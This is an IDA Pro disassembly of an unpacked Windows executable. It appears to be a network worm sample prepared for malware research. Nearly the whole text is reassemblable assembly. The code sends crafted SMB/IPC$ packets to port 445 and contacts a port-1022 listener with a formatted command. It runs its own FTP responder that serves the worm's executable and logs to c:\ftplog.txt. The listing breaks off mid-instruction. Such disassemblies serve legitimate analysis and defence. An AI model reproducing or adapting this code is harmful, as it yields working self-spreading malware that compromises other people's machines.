; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 60590B8B67630FA81365C465193837C0 ; File Name : u:\work\60590b8b67630fa81365c465193837c0_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00007000 ( 28672.) ; Section size in file : 00007000 ( 28672.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; CODE XREF: sub_40126C+7Cp ; sub_401F4B:loc_401FC9p ... mov eax, dword_4070C0 imul eax, 343FDh add eax, 279EC3h mov dword_4070C0, eax shr eax, 10h and eax, 7FFFh retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_40101E proc near ; CODE XREF: sub_4020D9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4070C0, eax retn sub_40101E endp ; =============== S U B R O U T I N E ======================================= sub_401028 proc near ; CODE XREF: sub_4020D9+11p var_190 = byte ptr -190h sub esp, 190h lea eax, [esp+190h+var_190] push eax push 101h call dword_405104 add esp, 190h retn sub_401028 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401045 proc near ; CODE XREF: sub_4010D2+4Cp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call dword_405134 movsx ecx, al mov [ebp+arg_0], eax movsx edx, byte ptr [ebp+arg_0+2] movsx esi, byte ptr [ebp+arg_0+3] movsx edi, ah test ecx, ecx mov eax, 100h jge short loc_40106F add ecx, eax loc_40106F: ; CODE XREF: sub_401045+26j test edi, edi jge short loc_401075 add edi, eax loc_401075: ; CODE XREF: sub_401045+2Cj test edx, edx jge short loc_40107B add edx, eax loc_40107B: ; CODE XREF: sub_401045+32j test esi, esi jge short loc_401081 add esi, eax loc_401081: ; CODE XREF: sub_401045+38j push 1 cmp ecx, 7Fh pop eax jnz short loc_401095 test edi, edi jnz short loc_4010CE test edx, edx jnz short loc_4010CE cmp esi, eax jz short loc_4010CC loc_401095: ; CODE XREF: sub_401045+42j cmp ecx, 0Ah jz short loc_4010CC cmp ecx, 0ACh jnz short loc_4010AC cmp edi, 0Fh jle short loc_4010CE cmp edi, 20h jl short loc_4010CC loc_4010AC: ; CODE XREF: sub_401045+5Bj cmp ecx, 0C0h jnz short loc_4010BC cmp edi, 0A8h jz short loc_4010CC loc_4010BC: ; CODE XREF: sub_401045+6Dj cmp ecx, 0A9h jnz short loc_4010CE cmp edi, 0FEh jnz short loc_4010CE loc_4010CC: ; CODE XREF: sub_401045+4Ej ; sub_401045+53j ... xor al, al loc_4010CE: ; CODE XREF: sub_401045+46j ; sub_401045+4Aj ... pop edi pop esi pop ebp retn sub_401045 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010D2 proc near ; CODE XREF: sub_40126C+9Cp ; sub_401F4B+3Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push ebx push esi push edi lea eax, [ebp+var_100] push 0FFh push eax call dword_40512C test eax, eax jnz short loc_401136 lea eax, [ebp+var_100] push eax call dword_405138 mov edi, eax xor esi, esi cmp edi, esi jz short loc_401136 mov eax, [edi+0Ch] cmp [eax], esi jz short loc_401136 loc_401110: ; CODE XREF: sub_4010D2+60j mov eax, [esi+eax] push dword ptr [eax] call dword_405130 mov ebx, eax push ebx call sub_401045 test al, al pop ecx jnz short loc_40113D mov eax, [edi+0Ch] add esi, 4 cmp dword ptr [esi+eax], 0 jnz short loc_401110 jmp short loc_401139 ; --------------------------------------------------------------------------- loc_401136: ; CODE XREF: sub_4010D2+20j ; sub_4010D2+35j ... mov ebx, [ebp+arg_0] loc_401139: ; CODE XREF: sub_4010D2+62j test ebx, ebx jz short loc_401140 loc_40113D: ; CODE XREF: sub_4010D2+54j push ebx jmp short loc_401145 ; --------------------------------------------------------------------------- loc_401140: ; CODE XREF: sub_4010D2+69j push offset a127_0_0_1 ; "127.0.0.1" loc_401145: ; CODE XREF: sub_4010D2+6Cj push [ebp+arg_0] call dword_405018 ; lstrcpyA pop edi pop esi pop ebx leave retn sub_4010D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401153 proc near ; CODE XREF: sub_401F4B+137p var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_4022A0 add esp, 0Ch mov [ebp+var_10], 2 push 1BDh call dword_40511C push [ebp+arg_0] mov [ebp+var_E], ax call sub_4011D5 mov [ebp+var_C], eax push 8 lea eax, [ebp+var_8] push 0 push eax call sub_4022A0 add esp, 10h push 6 push 1 pop ebx push ebx push 2 call dword_405120 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4011B4 xor al, al jmp short loc_4011D1 ; --------------------------------------------------------------------------- loc_4011B4: ; CODE XREF: sub_401153+5Bj lea eax, [ebp+var_10] push 10h push eax push esi call dword_405124 cmp eax, 0FFFFFFFFh jnz short loc_4011C8 xor bl, bl loc_4011C8: ; CODE XREF: sub_401153+71j push esi call dword_405128 mov al, bl loc_4011D1: ; CODE XREF: sub_401153+5Fj pop esi pop ebx leave retn sub_401153 endp ; =============== S U B R O U T I N E ======================================= sub_4011D5 proc near ; CODE XREF: sub_401153+30p ; sub_40126C+34p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push edi call dword_405134 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4011F2 test esi, esi jnz short loc_401204 cmp byte ptr [edi], 30h jz short loc_40120B loc_4011F2: ; CODE XREF: sub_4011D5+12j push edi call dword_405138 test eax, eax jz short loc_401204 mov eax, [eax+0Ch] mov eax, [eax] mov esi, [eax] loc_401204: ; CODE XREF: sub_4011D5+16j ; sub_4011D5+26j cmp esi, 0FFFFFFFFh jnz short loc_40120B xor esi, esi loc_40120B: ; CODE XREF: sub_4011D5+1Bj ; sub_4011D5+32j mov eax, esi pop edi pop esi retn sub_4011D5 endp ; =============== S U B R O U T I N E ======================================= sub_401210 proc near ; CODE XREF: sub_401B59+2B5p arg_0 = dword ptr 4 inc dword_4070C4 push esi push 0 push offset aCFtplog_txt ; "c:\\ftplog.txt" call dword_405028 ; _lcreat mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40126A push ebx push edi push 2 push 0 push esi call dword_405024 ; _llseek push [esp+0Ch+arg_0] call sub_402300 mov edi, dword_405020 pop ecx push eax push [esp+10h+arg_0] push esi call edi ; dword_405020 mov ebx, offset asc_406A0C ; "\r\n" push ebx call sub_402300 pop ecx push eax push ebx push esi call edi ; dword_405020 push esi call dword_40501C ; _lclose pop edi pop ebx loc_40126A: ; CODE XREF: sub_401210+19j pop esi retn sub_401210 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40126C proc near ; CODE XREF: sub_401A69+7Bp var_33C = byte ptr -33Ch var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 33Ch push ebx push edi xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_4022A0 add esp, 0Ch mov [ebp+var_10], 2 push 3FEh call dword_40511C push [ebp+arg_0] mov [ebp+var_E], ax call sub_4011D5 mov [ebp+var_C], eax push 8 lea eax, [ebp+var_8] push ebx push eax call sub_4022A0 add esp, 10h push 6 push 1 push 2 call dword_405120 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4012D1 xor al, al jmp loc_401379 ; --------------------------------------------------------------------------- loc_4012D1: ; CODE XREF: sub_40126C+5Cj lea eax, [ebp+var_10] push 10h push eax push edi call dword_405124 cmp eax, 0FFFFFFFFh jz loc_401370 push esi call sub_401000 mov esi, eax lea eax, [ebp+var_110] push offset dword_4070C8 push eax call dword_405018 ; lstrcpyA lea eax, [ebp+var_110] push eax call sub_4010D2 push esi lea eax, [ebp+var_110] push esi push eax push off_406030 lea eax, [ebp+var_33C] push eax call dword_4050F0 ; wsprintfA lea eax, [ebp+var_33C] xor esi, esi push eax call sub_402300 add esp, 1Ch test eax, eax jbe short loc_401362 loc_40133E: ; CODE XREF: sub_40126C+F4j push ebx lea eax, [ebp+esi+var_33C] push 1 push eax push edi call dword_405118 lea eax, [ebp+var_33C] inc esi push eax call sub_402300 cmp esi, eax pop ecx jb short loc_40133E loc_401362: ; CODE XREF: sub_40126C+D0j push 3E8h call dword_40502C ; Sleep mov bl, 1 pop esi loc_401370: ; CODE XREF: sub_40126C+75j push edi call dword_405128 mov al, bl loc_401379: ; CODE XREF: sub_40126C+60j pop edi pop ebx leave retn sub_40126C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40137D proc near ; CODE XREF: sub_401A69+15p var_744 = byte ptr -744h var_714 = byte ptr -714h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 744h push ebx push esi push edi push offset dword_4070C8 push [ebp+arg_4] call dword_405018 ; lstrcpyA push [ebp+arg_0] lea eax, [ebp+var_3C] push offset aSIpc ; "\\\\%s\\ipc$" push eax call dword_4050F0 ; wsprintfA add esp, 0Ch xor edi, edi xor ecx, ecx lea eax, [ebp+var_103] loc_4013B6: ; CODE XREF: sub_40137D+49j mov dl, [ebp+ecx+var_3C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_4013B6 push 60h lea eax, [ebp+var_B4] push offset dword_4063E4 push eax call sub_402380 lea eax, [ebp+var_3C] push eax call sub_402300 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_402380 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC+3) push eax call sub_402300 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_402380 lea eax, [ebp+var_3C] push eax call sub_402300 add al, 1Ah push 1 shl al, 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_B1] push eax call sub_402380 lea eax, [ebp+var_3C] push eax call sub_402300 shl al, 1 add al, 9 push 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_87] push eax call sub_402380 add esp, 2Ch push [ebp+arg_0] call dword_405138 mov ebx, eax cmp ebx, edi jz loc_401539 push edi push 1 push 2 call dword_405120 mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_401539 push 1BDh loc_401493: ; DATA XREF: .text:off_4065D8o mov [ebp+var_14], 2 call dword_40511C mov [ebp+var_12], ax mov eax, [ebx+0Ch] push 8 push edi mov eax, [eax] mov eax, [eax] mov [ebp+var_10], eax lea eax, [ebp+var_C] push eax call sub_4022A0 add esp, 0Ch lea eax, [ebp+var_14] push 10h push eax push esi call dword_405124 cmp eax, 0FFFFFFFFh jz short loc_401539 mov ebx, dword_405118 push edi push 89h push offset dword_4061CC push esi call ebx ; dword_405118 cmp eax, 0FFFFFFFFh jz short loc_401539 push edi mov edi, 640h lea eax, [ebp+var_744] push edi push eax push esi mov esi, dword_405114 call esi ; dword_405114 push 0 push 0A8h push offset dword_406258 push [ebp+arg_0] call ebx ; dword_405118 cmp eax, 0FFFFFFFFh jz short loc_401539 push 0 lea eax, [ebp+var_744] push edi push eax push [ebp+arg_0] call esi ; dword_405114 push 0 push 0DEh push offset dword_406304 push [ebp+arg_0] call ebx ; dword_405118 cmp eax, 0FFFFFFFFh jnz short loc_40153D loc_401539: ; CODE XREF: sub_40137D+F2j ; sub_40137D+10Bj ... xor eax, eax jmp short loc_40157E ; --------------------------------------------------------------------------- loc_40153D: ; CODE XREF: sub_40137D+1BAj push 0 lea eax, [ebp+var_744] push edi push eax push [ebp+arg_0] call esi ; dword_405114 push 46h lea esi, [ebp+var_714] pop edi loc_401555: ; CODE XREF: sub_40137D+1F3j movsx eax, byte ptr [esi] push eax push [ebp+arg_4] push offset aSC ; "%s%c" push [ebp+arg_4] call dword_4050F0 ; wsprintfA add esp, 10h inc esi inc esi dec edi jnz short loc_401555 push [ebp+arg_0] call dword_405128 push 1 pop eax loc_40157E: ; CODE XREF: sub_40137D+1BEj pop edi pop esi pop ebx leave retn sub_40137D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401583 proc near ; CODE XREF: sub_401A69+3Bp ; sub_401A69+5Ep ... var_89C4 = byte ptr -89C4h var_895C = byte ptr -895Ch var_68EC = byte ptr -68ECh var_687C = byte ptr -687Ch var_5DB8 = byte ptr -5DB8h var_4814 = byte ptr -4814h var_4813 = byte ptr -4813h var_3780 = byte ptr -3780h var_2CBC = byte ptr -2CBCh var_2CBB = byte ptr -2CBBh var_2CB8 = byte ptr -2CB8h var_24D4 = byte ptr -24D4h var_24C4 = byte ptr -24C4h var_21A0 = byte ptr -21A0h var_219C = byte ptr -219Ch var_2190 = byte ptr -2190h var_1F08 = byte ptr -1F08h var_1E8C = byte ptr -1E8Ch var_16BC = byte ptr -16BCh var_1211 = byte ptr -1211h var_F24 = byte ptr -0F24h var_E84 = byte ptr -0E84h var_778 = dword ptr -778h var_768 = byte ptr -768h var_754 = byte ptr -754h var_114 = byte ptr -114h var_113 = byte ptr -113h var_C4 = byte ptr -0C4h var_C1 = byte ptr -0C1h var_97 = byte ptr -97h var_95 = byte ptr -95h var_94 = byte ptr -94h var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 89C4h call sub_4026C0 mov eax, dword_406A3C push [ebp+arg_0] mov [ebp+var_14], eax mov eax, dword_406A40 mov [ebp+var_10], eax lea eax, [ebp+var_4C] push offset aSIpc ; "\\\\%s\\ipc$" push eax call dword_4050F0 ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_113] loc_4015BD: ; CODE XREF: sub_401583+4Aj mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_4015BD push ebx push esi push edi push 60h lea eax, [ebp+var_C4] push offset dword_4063E4 push eax call sub_402380 lea eax, [ebp+var_4C] push eax call sub_402300 shl eax, 1 push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_94] push eax call sub_402380 add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_402300 pop ecx lea eax, [ebp+eax*2+var_95] push eax call sub_402380 lea eax, [ebp+var_4C] push eax call sub_402300 add al, 1Ah push 1 shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_C1] push eax call sub_402380 lea eax, [ebp+var_4C] push eax call sub_402300 shl al, 1 add al, 9 push 1 mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_97] push eax call sub_402380 add esp, 2Ch push 3FEh call dword_40511C xor eax, 9999h push 2 mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax push offset dword_4060E4 call sub_402380 mov ebx, [ebp+arg_4] add esp, 0Ch cmp ebx, 1 jz short loc_4016FF cmp ebx, 2 jz short loc_4016FF push 7D0h lea eax, [ebp+var_F24] push 90h push eax call sub_4022A0 mov esi, offset loc_406034 push esi call sub_402300 push eax lea eax, [ebp+var_E84] push esi push eax call sub_402380 lea eax, [ebp+var_14] push eax call sub_402300 push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_768] push eax call sub_402380 add esp, 2Ch imul ebx, 3Ch mov eax, dword_406810[ebx] mov [ebp+var_778], eax jmp loc_4017D3 ; --------------------------------------------------------------------------- loc_4016FF: ; CODE XREF: sub_401583+115j ; sub_401583+11Aj mov edi, 0DACh lea eax, [ebp+var_2CB8] push edi push 90h push eax call sub_4022A0 imul ebx, 3Ch push 4 lea eax, [ebp+var_24D4] lea ebx, dword_406810[ebx] push ebx push eax call sub_402380 mov esi, offset loc_406034 push esi call sub_402300 push eax lea eax, [ebp+var_24C4] push esi push eax call sub_402380 push 4 lea eax, [ebp+var_21A0] push offset dword_406A34 push eax call sub_402380 push 4 lea eax, [ebp+var_219C] push ebx push eax call sub_402380 add esp, 40h push esi call sub_402300 push eax lea eax, [ebp+var_2190] push esi push eax call sub_402380 add esp, 10h xor ecx, ecx lea eax, [ebp+var_4813] loc_40178B: ; CODE XREF: sub_401583+21Aj mov dl, [ebp+ecx+var_2CB8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, edi jl short loc_40178B and [ebp+var_2CBC], 0 and [ebp+var_2CBB], 0 mov esi, 1C52h lea eax, [ebp+var_89C4] push esi push 31h push eax call sub_4022A0 push esi lea eax, [ebp+var_68EC] push 31h push eax call sub_4022A0 add esp, 18h loc_4017D3: ; CODE XREF: sub_401583+177j push 0 push 1 push 2 call dword_405120 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_4], edi jz loc_401A62 push 1BDh mov [ebp+var_24], 2 call dword_40511C push [ebp+arg_0] mov [ebp+var_22], ax call sub_4011D5 mov [ebp+var_20], eax xor ebx, ebx push 8 lea eax, [ebp+var_1C] push ebx push eax call sub_4022A0 add esp, 10h lea eax, [ebp+var_24] push 10h push eax push edi call dword_405124 cmp eax, 0FFFFFFFFh jz loc_401A62 mov esi, dword_405118 push ebx push 89h push offset dword_4061CC push edi call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz loc_401A62 push ebx mov ebx, 640h lea eax, [ebp+var_754] push ebx push eax push edi mov edi, dword_405114 call edi ; dword_405114 push 0 push 0A8h push offset dword_406258 push [ebp+var_4] call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz loc_401A62 push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; dword_405114 push 0 push 0DEh push offset dword_406304 push [ebp+var_4] call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz loc_401A62 push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; dword_405114 movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_C4] push eax push [ebp+var_4] call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz loc_401A62 push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; dword_405114 push 0 push 68h push offset dword_406448 push [ebp+var_4] call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz loc_401A62 push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; dword_405114 push 0 push 0A0h push offset dword_4064B4 push [ebp+var_4] call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz loc_401A62 push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; dword_405114 cmp [ebp+arg_4], 1 jz short loc_4019A0 cmp [ebp+arg_4], 2 jz short loc_4019A0 push 7Ch lea eax, [ebp+var_1F08] push offset dword_406558 push eax call sub_402380 lea eax, [ebp+var_F24] push 7D0h push eax lea eax, [ebp+var_1E8C] push eax call sub_402380 push 90h lea eax, [ebp+var_16BC] push offset off_4065D8 push eax call sub_402380 add esp, 24h and [ebp+var_1211], 0 lea eax, [ebp+var_1F08] push 0 push 0CF8h jmp loc_401A43 ; --------------------------------------------------------------------------- loc_4019A0: ; CODE XREF: sub_401583+3B8j ; sub_401583+3BEj push 68h lea eax, [ebp+var_89C4] push offset dword_40666C push eax call sub_402380 lea eax, [ebp+var_4814] push 1B5Ah push eax lea eax, [ebp+var_895C] push eax call sub_402380 push 70h lea eax, [ebp+var_68EC] push offset dword_4066D8 push eax call sub_402380 lea eax, [ebp+var_3780] push 0A5Eh push eax lea eax, [ebp+var_687C] push eax call sub_402380 push 84h lea eax, [ebp+var_5DB8] push offset dword_40674C push eax call sub_402380 add esp, 3Ch lea eax, [ebp+var_89C4] push 0 push 10FCh push eax push [ebp+var_4] call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz short loc_401A62 push 0 lea eax, [ebp+var_754] push ebx push eax push [ebp+var_4] call edi ; dword_405114 push 0 push 0FDCh lea eax, [ebp+var_68EC] loc_401A43: ; CODE XREF: sub_401583+418j push eax push [ebp+var_4] call esi ; dword_405118 cmp eax, 0FFFFFFFFh jz short loc_401A62 push 3E8h call dword_40502C ; Sleep push [ebp+var_4] call dword_405128 loc_401A62: ; CODE XREF: sub_401583+264j ; sub_401583+2ABj ... pop edi pop esi xor eax, eax pop ebx leave retn sub_401583 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A69 proc near ; CODE XREF: sub_4020D9+27p var_84 = byte ptr -84h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 84h push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_84] push eax push esi call sub_40137D pop ecx cmp eax, 1 pop ecx jnz short loc_401AEA lea eax, [ebp+var_84] push offset dword_406A48 push eax call sub_4026F0 pop ecx test eax, eax pop ecx jz short loc_401AAD push 0 push esi call sub_401583 push 0 jmp short loc_401ADA ; --------------------------------------------------------------------------- loc_401AAD: ; CODE XREF: sub_401A69+36j lea eax, [ebp+var_84] push offset dword_406A44 push eax call sub_4026F0 pop ecx test eax, eax pop ecx jz short loc_401AD0 push 1 push esi call sub_401583 push 1 jmp short loc_401ADA ; --------------------------------------------------------------------------- loc_401AD0: ; CODE XREF: sub_401A69+59j push 2 push esi call sub_401583 push 2 loc_401ADA: ; CODE XREF: sub_401A69+42j ; sub_401A69+65j push esi call sub_401583 add esp, 10h push esi call sub_40126C pop ecx loc_401AEA: ; CODE XREF: sub_401A69+1Fj pop esi leave retn sub_401A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401AED proc near ; CODE XREF: sub_40219B+DAp ; sub_40219B+E6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_40500C test eax, eax jnz short loc_401B19 push [ebp+arg_8] push [ebp+arg_4] call dword_405010 push [ebp+arg_4] call dword_405000 loc_401B19: ; CODE XREF: sub_401AED+15j pop ebp retn sub_401AED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B1B proc near ; CODE XREF: sub_401F4B+126p var_24 = byte ptr -24h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push esi call sub_404DA2 push [ebp+arg_4] mov esi, eax lea eax, [ebp+var_24] or [ebp+var_1C], 0FFFFFFFFh push 24h push eax xor eax, eax push eax push eax push eax push [ebp+arg_0] push esi call sub_404D9C test eax, eax jnz short loc_401B4D or eax, 0FFFFFFFFh jmp short loc_401B56 ; --------------------------------------------------------------------------- loc_401B4D: ; CODE XREF: sub_401B1B+2Bj push esi call sub_404D96 mov eax, [ebp+var_1C] loc_401B56: ; CODE XREF: sub_401B1B+30j pop esi leave retn sub_401B1B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B59 proc near ; DATA XREF: sub_401EC0+74o var_8E4 = byte ptr -8E4h var_4E4 = byte ptr -4E4h var_4E0 = byte ptr -4E0h var_E4 = byte ptr -0E4h var_60 = byte ptr -60h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8E4h push ebx mov ebx, [ebp+arg_0] cmp ebx, 0FFFFFFFFh jz loc_401E84 push esi push edi push 0 push off_4068D0 call sub_402300 mov esi, dword_405118 pop ecx push eax push off_4068D0 push ebx call esi ; dword_405118 mov edi, [ebp+arg_0] jmp short loc_401B97 ; --------------------------------------------------------------------------- loc_401B94: ; CODE XREF: sub_401B59+31Aj mov ebx, [ebp+arg_0] loc_401B97: ; CODE XREF: sub_401B59+39j push 0 lea eax, [ebp+var_4E4] push 400h push eax push ebx call dword_405114 and [ebp+eax+var_4E4], 0 mov [ebp+var_10], eax lea eax, [ebp+var_4E4] push offset aUser ; "USER" push eax call sub_4026F0 pop ecx test eax, eax pop ecx jz short loc_401BE8 push 0 push off_4068D4 call sub_402300 pop ecx push eax push off_4068D4 jmp loc_401E6C ; --------------------------------------------------------------------------- loc_401BE8: ; CODE XREF: sub_401B59+73j lea eax, [ebp+var_4E4] push offset aPass ; "PASS" push eax call sub_4026F0 pop ecx test eax, eax pop ecx jz short loc_401C19 push 0 push off_4068D8 call sub_402300 pop ecx push eax push off_4068D8 jmp loc_401E6C ; --------------------------------------------------------------------------- loc_401C19: ; CODE XREF: sub_401B59+A4j lea eax, [ebp+var_4E4] push offset aPort ; "PORT" push eax call sub_4026F0 pop ecx test eax, eax pop ecx jz loc_401CF5 lea eax, [ebp+var_4E0] push eax lea eax, [ebp+var_E4] push eax call sub_402810 mov ax, word_406A68 mov [ebp+var_4], ax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_E4] push eax call sub_402770 add esp, 10h mov ebx, eax xor edi, edi loc_401C68: ; CODE XREF: sub_401B59+159j test ebx, ebx jz short loc_401C9C cmp edi, 4 jge short loc_401C7F push ebx call sub_401E8B pop ecx mov [ebp+edi*4+var_38], eax cmp edi, 4 loc_401C7F: ; CODE XREF: sub_401B59+116j jnz short loc_401C8B push ebx call sub_401E8B pop ecx mov [ebp+var_18], eax loc_401C8B: ; CODE XREF: sub_401B59:loc_401C7Fj cmp edi, 5 jnz short loc_401C9F push ebx call sub_401E8B pop ecx mov [ebp+var_14], eax jmp short loc_401C9F ; --------------------------------------------------------------------------- loc_401C9C: ; CODE XREF: sub_401B59+111j push 6 pop edi loc_401C9F: ; CODE XREF: sub_401B59+135j ; sub_401B59+141j lea eax, [ebp+var_4] push eax push 0 call sub_402770 inc edi pop ecx cmp edi, 6 pop ecx mov ebx, eax jl short loc_401C68 push [ebp+var_2C] mov edi, [ebp+var_18] lea eax, [ebp+var_60] push [ebp+var_30] shl edi, 8 push [ebp+var_34] add edi, [ebp+var_14] push [ebp+var_38] push offset aI_I_I_I ; "%i.%i.%i.%i" push eax call dword_4050F0 ; wsprintfA add esp, 18h push 0 push off_4068E0 call sub_402300 pop ecx push eax push off_4068E0 jmp loc_401E32 ; --------------------------------------------------------------------------- loc_401CF5: ; CODE XREF: sub_401B59+D5j lea eax, [ebp+var_4E4] push offset aRetr ; "RETR" push eax call sub_4026F0 pop ecx test eax, eax pop ecx jz loc_401E37 push 0 push off_4068E4 call sub_402300 pop ecx push eax push off_4068E4 push ebx call esi ; dword_405118 lea eax, [ebp+var_60] push eax call sub_4011D5 mov ebx, eax pop ecx test ebx, ebx jz loc_401E14 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_4022A0 add esp, 0Ch mov [ebp+var_28], 2 push edi call dword_40511C push 0 push 1 push 2 mov [ebp+var_26], ax mov [ebp+var_24], ebx call dword_405120 mov ebx, eax cmp ebx, 0FFFFFFFFh mov [ebp+var_C], ebx jz loc_401E14 lea eax, [ebp+var_28] push 10h push eax push ebx call dword_405124 cmp eax, 0FFFFFFFFh jnz short loc_401D95 push ebx call dword_405128 jmp short loc_401E14 ; --------------------------------------------------------------------------- loc_401D95: ; CODE XREF: sub_401B59+231j lea eax, [ebp+var_8E4] push 400h push eax push 0 call dword_405038 ; GetModuleFileNameA lea eax, [ebp+var_8E4] push 0 push eax call dword_405034 ; _lopen cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jz short loc_401E14 lea eax, [ebp+var_2] push offset dword_4070C8 push eax call sub_402810 mov ebx, dword_405030 pop ecx pop ecx lea eax, [ebp+var_2] push 1 push eax push [ebp+var_8] loc_401DDF: ; CODE XREF: sub_401B59+2A6j call ebx ; dword_405030 cmp eax, 1 jnz short loc_401E01 and [ebp+var_1], 0 push 0 push eax lea eax, [ebp+var_2] push eax push [ebp+var_C] call esi ; dword_405118 lea eax, [ebp+var_2] push 1 push eax push 